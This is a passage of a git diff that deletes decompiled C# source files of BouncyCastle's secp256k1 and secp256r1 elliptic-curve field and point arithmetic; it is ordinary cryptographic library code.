array4); - uint[] array5 = array4; - SecP256K1Field.SquareN(array4, 2, array5); - SecP256K1Field.Multiply(array5, array, array5); - uint[] array6 = Nat256.Create(); - SecP256K1Field.SquareN(array5, 11, array6); - SecP256K1Field.Multiply(array6, array5, array6); - uint[] array7 = array5; - SecP256K1Field.SquareN(array6, 22, array7); - SecP256K1Field.Multiply(array7, array6, array7); - uint[] array8 = Nat256.Create(); - SecP256K1Field.SquareN(array7, 44, array8); - SecP256K1Field.Multiply(array8, array7, array8); - uint[] z = Nat256.Create(); - SecP256K1Field.SquareN(array8, 88, z); - SecP256K1Field.Multiply(z, array8, z); - uint[] z2 = array8; - SecP256K1Field.SquareN(z, 44, z2); - SecP256K1Field.Multiply(z2, array7, z2); - uint[] array9 = array7; - SecP256K1Field.SquareN(z2, 3, array9); - SecP256K1Field.Multiply(array9, array2, array9); - uint[] z3 = array9; - SecP256K1Field.SquareN(z3, 23, z3); - SecP256K1Field.Multiply(z3, array6, z3); - SecP256K1Field.SquareN(z3, 6, z3); - SecP256K1Field.Multiply(z3, array, z3); - SecP256K1Field.SquareN(z3, 2, z3); - uint[] array10 = array; - SecP256K1Field.Square(z3, array10); - if (!Nat256.Eq(y, array10)) - { - return null; - } - return new SecP256K1FieldElement(z3); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP256K1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP256K1FieldElement); - } - - public virtual bool Equals(SecP256K1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat256.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 8); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1Point.cs deleted file mode 100644 index 774e160..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256K1Point.cs +++ /dev/null @@ -1,218 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP256K1Point : AbstractFpPoint -{ - public SecP256K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP256K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP256K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP256K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP256K1FieldElement secP256K1FieldElement = (SecP256K1FieldElement)base.RawXCoord; - SecP256K1FieldElement secP256K1FieldElement2 = (SecP256K1FieldElement)base.RawYCoord; - SecP256K1FieldElement secP256K1FieldElement3 = (SecP256K1FieldElement)b.RawXCoord; - SecP256K1FieldElement secP256K1FieldElement4 = (SecP256K1FieldElement)b.RawYCoord; - SecP256K1FieldElement secP256K1FieldElement5 = (SecP256K1FieldElement)base.RawZCoords[0]; - SecP256K1FieldElement secP256K1FieldElement6 = (SecP256K1FieldElement)b.RawZCoords[0]; - uint[] array = Nat256.CreateExt(); - uint[] array2 = Nat256.Create(); - uint[] array3 = Nat256.Create(); - uint[] array4 = Nat256.Create(); - bool isOne = secP256K1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP256K1FieldElement3.x; - array6 = secP256K1FieldElement4.x; - } - else - { - array6 = array3; - SecP256K1Field.Square(secP256K1FieldElement5.x, array6); - array5 = array2; - SecP256K1Field.Multiply(array6, secP256K1FieldElement3.x, array5); - SecP256K1Field.Multiply(array6, secP256K1FieldElement5.x, array6); - SecP256K1Field.Multiply(array6, secP256K1FieldElement4.x, array6); - } - bool isOne2 = secP256K1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP256K1FieldElement.x; - array8 = secP256K1FieldElement2.x; - } - else - { - array8 = array4; - SecP256K1Field.Square(secP256K1FieldElement6.x, array8); - array7 = array; - SecP256K1Field.Multiply(array8, secP256K1FieldElement.x, array7); - SecP256K1Field.Multiply(array8, secP256K1FieldElement6.x, array8); - SecP256K1Field.Multiply(array8, secP256K1FieldElement2.x, array8); - } - uint[] array9 = Nat256.Create(); - SecP256K1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP256K1Field.Subtract(array8, array6, array10); - if (Nat256.IsZero(array9)) - { - if (Nat256.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP256K1Field.Square(array9, array11); - uint[] array12 = Nat256.Create(); - SecP256K1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP256K1Field.Multiply(array11, array7, array13); - SecP256K1Field.Negate(array12, array12); - Nat256.Mul(array8, array12, array); - uint x = Nat256.AddBothTo(array13, array13, array12); - SecP256K1Field.Reduce32(x, array12); - SecP256K1FieldElement secP256K1FieldElement7 = new SecP256K1FieldElement(array4); - SecP256K1Field.Square(array10, secP256K1FieldElement7.x); - SecP256K1Field.Subtract(secP256K1FieldElement7.x, array12, secP256K1FieldElement7.x); - SecP256K1FieldElement secP256K1FieldElement8 = new SecP256K1FieldElement(array12); - SecP256K1Field.Subtract(array13, secP256K1FieldElement7.x, secP256K1FieldElement8.x); - SecP256K1Field.MultiplyAddToExt(secP256K1FieldElement8.x, array10, array); - SecP256K1Field.Reduce(array, secP256K1FieldElement8.x); - SecP256K1FieldElement secP256K1FieldElement9 = new SecP256K1FieldElement(array9); - if (!isOne) - { - SecP256K1Field.Multiply(secP256K1FieldElement9.x, secP256K1FieldElement5.x, secP256K1FieldElement9.x); - } - if (!isOne2) - { - SecP256K1Field.Multiply(secP256K1FieldElement9.x, secP256K1FieldElement6.x, secP256K1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP256K1FieldElement9 }; - return new SecP256K1Point(curve, secP256K1FieldElement7, secP256K1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP256K1FieldElement secP256K1FieldElement = (SecP256K1FieldElement)base.RawYCoord; - if (secP256K1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP256K1FieldElement secP256K1FieldElement2 = (SecP256K1FieldElement)base.RawXCoord; - SecP256K1FieldElement secP256K1FieldElement3 = (SecP256K1FieldElement)base.RawZCoords[0]; - uint[] array = Nat256.Create(); - SecP256K1Field.Square(secP256K1FieldElement.x, array); - uint[] array2 = Nat256.Create(); - SecP256K1Field.Square(array, array2); - uint[] array3 = Nat256.Create(); - SecP256K1Field.Square(secP256K1FieldElement2.x, array3); - uint x = Nat256.AddBothTo(array3, array3, array3); - SecP256K1Field.Reduce32(x, array3); - uint[] array4 = array; - SecP256K1Field.Multiply(array, secP256K1FieldElement2.x, array4); - x = Nat.ShiftUpBits(8, array4, 2, 0u); - SecP256K1Field.Reduce32(x, array4); - uint[] array5 = Nat256.Create(); - x = Nat.ShiftUpBits(8, array2, 3, 0u, array5); - SecP256K1Field.Reduce32(x, array5); - SecP256K1FieldElement secP256K1FieldElement4 = new SecP256K1FieldElement(array2); - SecP256K1Field.Square(array3, secP256K1FieldElement4.x); - SecP256K1Field.Subtract(secP256K1FieldElement4.x, array4, secP256K1FieldElement4.x); - SecP256K1Field.Subtract(secP256K1FieldElement4.x, array4, secP256K1FieldElement4.x); - SecP256K1FieldElement secP256K1FieldElement5 = new SecP256K1FieldElement(array4); - SecP256K1Field.Subtract(array4, secP256K1FieldElement4.x, secP256K1FieldElement5.x); - SecP256K1Field.Multiply(secP256K1FieldElement5.x, array3, secP256K1FieldElement5.x); - SecP256K1Field.Subtract(secP256K1FieldElement5.x, array5, secP256K1FieldElement5.x); - SecP256K1FieldElement secP256K1FieldElement6 = new SecP256K1FieldElement(array3); - SecP256K1Field.Twice(secP256K1FieldElement.x, secP256K1FieldElement6.x); - if (!secP256K1FieldElement3.IsOne) - { - SecP256K1Field.Multiply(secP256K1FieldElement6.x, secP256K1FieldElement3.x, secP256K1FieldElement6.x); - } - return new SecP256K1Point(curve, secP256K1FieldElement4, secP256K1FieldElement5, new ECFieldElement[1] { secP256K1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP256K1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1Curve.cs deleted file mode 100644 index 6e580a4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP256R1Curve : AbstractFpCurve -{ - private class SecP256R1LookupTable : ECLookupTable - { - private readonly SecP256R1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP256R1LookupTable(SecP256R1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat256.Create(); - uint[] array2 = Nat256.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 8; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 8 + j] & num2); - } - num += 16; - } - return m_outer.CreateRawPoint(new SecP256R1FieldElement(array), new SecP256R1FieldElement(array2), withCompression: false); - } - } - - private const int SECP256R1_DEFAULT_COORDS = 2; - - private const int SECP256R1_FE_INTS = 8; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF")); - - protected readonly SecP256R1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP256R1Curve() - : base(q) - { - m_infinity = new SecP256R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B"))); - m_order = new BigInteger(1, Hex.Decode("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP256R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP256R1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP256R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP256R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 8 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat256.Copy(((SecP256R1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 8; - Nat256.Copy(((SecP256R1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 8; - } - return new SecP256R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1Field.cs deleted file mode 100644 index 01bbb91..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1Field.cs +++ /dev/null @@ -1,290 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP256R1Field -{ - internal const uint P7 = uint.MaxValue; - - internal const uint PExt15 = 4294967294u; - - internal static readonly uint[] P = new uint[8] { 4294967295u, 4294967295u, 4294967295u, 0u, 0u, 0u, 1u, 4294967295u }; - - internal static readonly uint[] PExt = new uint[16] - { - 1u, 0u, 0u, 4294967294u, 4294967295u, 4294967295u, 4294967294u, 1u, 4294967294u, 1u, - 4294967294u, 1u, 1u, 4294967294u, 2u, 4294967294u - }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat256.Add(x, y, z) != 0 || (z[7] == uint.MaxValue && Nat256.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Add(16, xx, yy, zz) != 0 || (zz[15] >= 4294967294u && Nat.Gte(16, zz, PExt))) - { - Nat.SubFrom(16, PExt, zz); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(8, x, z) != 0 || (z[7] == uint.MaxValue && Nat256.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat256.FromBigInteger(x); - if (array[7] == uint.MaxValue && Nat256.Gte(array, P)) - { - Nat256.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(8, x, 0u, z); - return; - } - uint c = Nat256.Add(x, P, z); - Nat.ShiftDownBit(8, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if (Nat256.MulAddTo(x, y, zz) != 0 || (zz[15] >= 4294967294u && Nat.Gte(16, zz, PExt))) - { - Nat.SubFrom(16, PExt, zz); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat256.IsZero(x)) - { - Nat256.Zero(z); - } - else - { - Nat256.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - long num = xx[8]; - long num2 = xx[9]; - long num3 = xx[10]; - long num4 = xx[11]; - long num5 = xx[12]; - long num6 = xx[13]; - long num7 = xx[14]; - long num8 = xx[15]; - num -= 6; - long num9 = num + num2; - long num10 = num2 + num3; - long num11 = num3 + num4 - num8; - long num12 = num4 + num5; - long num13 = num5 + num6; - long num14 = num6 + num7; - long num15 = num7 + num8; - long num16 = num14 - num9; - long num17 = 0L; - num17 += xx[0] - num12 - num16; - z[0] = (uint)num17; - num17 >>= 32; - num17 += xx[1] + num10 - num13 - num15; - z[1] = (uint)num17; - num17 >>= 32; - num17 += xx[2] + num11 - num14; - z[2] = (uint)num17; - num17 >>= 32; - num17 += xx[3] + (num12 << 1) + num16 - num15; - z[3] = (uint)num17; - num17 >>= 32; - num17 += xx[4] + (num13 << 1) + num7 - num10; - z[4] = (uint)num17; - num17 >>= 32; - num17 += xx[5] + (num14 << 1) - num11; - z[5] = (uint)num17; - num17 >>= 32; - num17 += xx[6] + (num15 << 1) + num16; - z[6] = (uint)num17; - num17 >>= 32; - num17 += xx[7] + (num8 << 1) + num - num11 - num13; - z[7] = (uint)num17; - num17 >>= 32; - num17 += 6; - Reduce32((uint)num17, z); - } - - public static void Reduce32(uint x, uint[] z) - { - long num = 0L; - if (x != 0) - { - long num2 = x; - num += z[0] + num2; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += z[3] - num2; - z[3] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[4]; - z[4] = (uint)num; - num >>= 32; - num += z[5]; - z[5] = (uint)num; - num >>= 32; - } - num += z[6] - num2; - z[6] = (uint)num; - num >>= 32; - num += z[7] + num2; - z[7] = (uint)num; - num >>= 32; - } - if (num != 0 || (z[7] == uint.MaxValue && Nat256.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat256.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat256.Sub(x, y, z) != 0) - { - SubPInvFrom(z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(16, xx, yy, zz) != 0) - { - Nat.AddTo(16, PExt, zz); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(8, x, 0u, z) != 0 || (z[7] == uint.MaxValue && Nat256.Gte(z, P))) - { - AddPInvTo(z); - } - } - - private static void AddPInvTo(uint[] z) - { - long num = (long)z[0] + 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += (long)z[3] - 1L; - z[3] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[4]; - z[4] = (uint)num; - num >>= 32; - num += z[5]; - z[5] = (uint)num; - num >>= 32; - } - num += (long)z[6] - 1L; - z[6] = (uint)num; - num >>= 32; - num += (long)z[7] + 1L; - z[7] = (uint)num; - } - - private static void SubPInvFrom(uint[] z) - { - long num = (long)z[0] - 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += (long)z[3] + 1L; - z[3] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[4]; - z[4] = (uint)num; - num >>= 32; - num += z[5]; - z[5] = (uint)num; - num >>= 32; - } - num += (long)z[6] + 1L; - z[6] = (uint)num; - num >>= 32; - num += (long)z[7] - 1L; - z[7] = (uint)num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1FieldElement.cs deleted file mode 100644 index 76b2ffe..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1FieldElement.cs +++ /dev/null @@ -1,166 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP256R1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP256R1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat256.IsZero(x); - - public override bool IsOne => Nat256.IsOne(x); - - public override string FieldName => "SecP256R1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP256R1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP256R1FieldElement", "x"); - } - this.x = SecP256R1Field.FromBigInteger(x); - } - - public SecP256R1FieldElement() - { - x = Nat256.Create(); - } - - protected internal SecP256R1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat256.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat256.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat256.Create(); - SecP256R1Field.Add(x, ((SecP256R1FieldElement)b).x, z); - return new SecP256R1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat256.Create(); - SecP256R1Field.AddOne(x, z); - return new SecP256R1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat256.Create(); - SecP256R1Field.Subtract(x, ((SecP256R1FieldElement)b).x, z); - return new SecP256R1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat256.Create(); - SecP256R1Field.Multiply(x, ((SecP256R1FieldElement)b).x, z); - return new SecP256R1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat256.Create(); - Mod.Invert(SecP256R1Field.P, ((SecP256R1FieldElement)b).x, z); - SecP256R1Field.Multiply(z, x, z); - return new SecP256R1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat256.Create(); - SecP256R1Field.Negate(x, z); - return new SecP256R1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat256.Create(); - SecP256R1Field.Square(x, z); - return new SecP256R1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat256.Create(); - Mod.Invert(SecP256R1Field.P, x, z); - return new SecP256R1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat256.IsZero(y) || Nat256.IsOne(y)) - { - return this; - } - uint[] array = Nat256.Create(); - uint[] array2 = Nat256.Create(); - SecP256R1Field.Square(y, array); - SecP256R1Field.Multiply(array, y, array); - SecP256R1Field.SquareN(array, 2, array2); - SecP256R1Field.Multiply(array2, array, array2); - SecP256R1Field.SquareN(array2, 4, array); - SecP256R1Field.Multiply(array, array2, array); - SecP256R1Field.SquareN(array, 8, array2); - SecP256R1Field.Multiply(array2, array, array2); - SecP256R1Field.SquareN(array2, 16, array); - SecP256R1Field.Multiply(array, array2, array); - SecP256R1Field.SquareN(array, 32, array); - SecP256R1Field.Multiply(array, y, array); - SecP256R1Field.SquareN(array, 96, array); - SecP256R1Field.Multiply(array, y, array); - SecP256R1Field.SquareN(array, 94, array); - SecP256R1Field.Multiply(array, array, array2); - if (!Nat256.Eq(y, array2)) - { - return null; - } - return new SecP256R1FieldElement(array); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP256R1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP256R1FieldElement); - } - - public virtual bool Equals(SecP256R1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat256.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 8); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1Point.cs deleted file mode 100644 index a13fb4a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP256R1Point.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP256R1Point : AbstractFpPoint -{ - public SecP256R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP256R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP256R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP256R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP256R1FieldElement secP256R1FieldElement = (SecP256R1FieldElement)base.RawXCoord; - SecP256R1FieldElement secP256R1FieldElement2 = (SecP256R1FieldElement)base.RawYCoord; - SecP256R1FieldElement secP256R1FieldElement3 = (SecP256R1FieldElement)b.RawXCoord; - SecP256R1FieldElement secP256R1FieldElement4 = (SecP256R1FieldElement)b.RawYCoord; - SecP256R1FieldElement secP256R1FieldElement5 = (SecP256R1FieldElement)base.RawZCoords[0]; - SecP256R1FieldElement secP256R1FieldElement6 = (SecP256R1FieldElement)b.RawZCoords[0]; - uint[] array = Nat256.CreateExt(); - uint[] array2 = Nat256.Create(); - uint[] array3 = Nat256.Create(); - uint[] array4 = Nat256.Create(); - bool isOne = secP256R1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP256R1FieldElement3.x; - array6 = secP256R1FieldElement4.x; - } - else - { - array6 = array3; - SecP256R1Field.Square(secP256R1FieldElement5.x, array6); - array5 = array2; - SecP256R1Field.Multiply(array6, secP256R1FieldElement3.x, array5); - SecP256R1Field.Multiply(array6, secP256R1FieldElement5.x, array6); - SecP256R1Field.Multiply(array6, secP256R1FieldElement4.x, array6); - } - bool isOne2 = secP256R1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP256R1FieldElement.x; - array8 = secP256R1FieldElement2.x; - } - else - { - array8 = array4; - SecP256R1Field.Square(secP256R1FieldElement6.x, array8); - array7 = array; - SecP256R1Field.Multiply(array8, secP256R1FieldElement.x, array7); - SecP256R1Field.Multiply(array8, secP256R1FieldElement6.x, array8); - SecP256R1Field.Multiply(array8, secP256R1FieldElement2.x, array8); - } - uint[] array9 = Nat256.Create(); - SecP256R1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP256R1Field.Subtract(array8, array6, array10); - if (Nat256.IsZero(array9)) - { - if (Nat256.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP256R1Field.Square(array9, array11); - uint[] array12 = Nat256.Create(); - SecP256R1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP256R1Field.Multiply(array11, array7, array13); - SecP256R1Field.Negate(array12, array12); - Nat256.Mul(array8, array12, array); - uint x = Nat256.AddBothTo(array13, array13, array12); - SecP256R1Field.Reduce32(x, array12); - SecP256R1FieldElement secP256R1FieldElement7 = new SecP256R1FieldElement(array4); - SecP256R1Field.Square(array10, secP256R1FieldElement7.x); - SecP256R1Field.Subtract(secP256R1FieldElement7.x, array12, secP256R1FieldElement7.x); - SecP256R1FieldElement secP256R1FieldElement8 = new SecP256R1FieldElement(array12); - SecP256R1Field.Subtract(array13, secP256R1FieldElement7.x, secP256R1FieldElement8.x); - SecP256R1Field.MultiplyAddToExt(secP256R1FieldElement8.x, array10, array); - SecP256R1Field.Reduce(array, secP256R1FieldElement8.x); - SecP256R1FieldElement secP256R1FieldElement9 = new SecP256R1FieldElement(array9); - if (!isOne) - { - SecP256R1Field.Multiply(secP256R1FieldElement9.x, secP256R1FieldElement5.x, secP256R1FieldElement9.x); - } - if (!isOne2) - { - SecP256R1Field.Multiply(secP256R1FieldElement9.x, secP256R1FieldElement6.x, secP256R1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP256R1FieldElement9 }; - return new SecP256R1Point(curve, secP256R1FieldElement7, secP256R1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP256R1FieldElement secP256R1FieldElement = (SecP256R1FieldElement)base.RawYCoord; - if (secP256R1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP256R1FieldElement secP256R1FieldElement2 = (SecP256R1FieldElement)base.RawXCoord; - SecP256R1FieldElement secP256R1FieldElement3 = (SecP256R1FieldElement)base.RawZCoords[0]; - uint[] array = Nat256.Create(); - uint[] array2 = Nat256.Create(); - uint[] array3 = Nat256.Create(); - SecP256R1Field.Square(secP256R1FieldElement.x, array3); - uint[] array4 = Nat256.Create(); - SecP256R1Field.Square(array3, array4); - bool isOne = secP256R1FieldElement3.IsOne; - uint[] array5 = secP256R1FieldElement3.x; - if (!isOne) - { - array5 = array2; - SecP256R1Field.Square(secP256R1FieldElement3.x, array5); - } - SecP256R1Field.Subtract(secP256R1FieldElement2.x, array5, array); - uint[] array6 = array2; - SecP256R1Field.Add(secP256R1FieldElement2.x, array5, array6); - SecP256R1Field.Multiply(array6, array, array6); 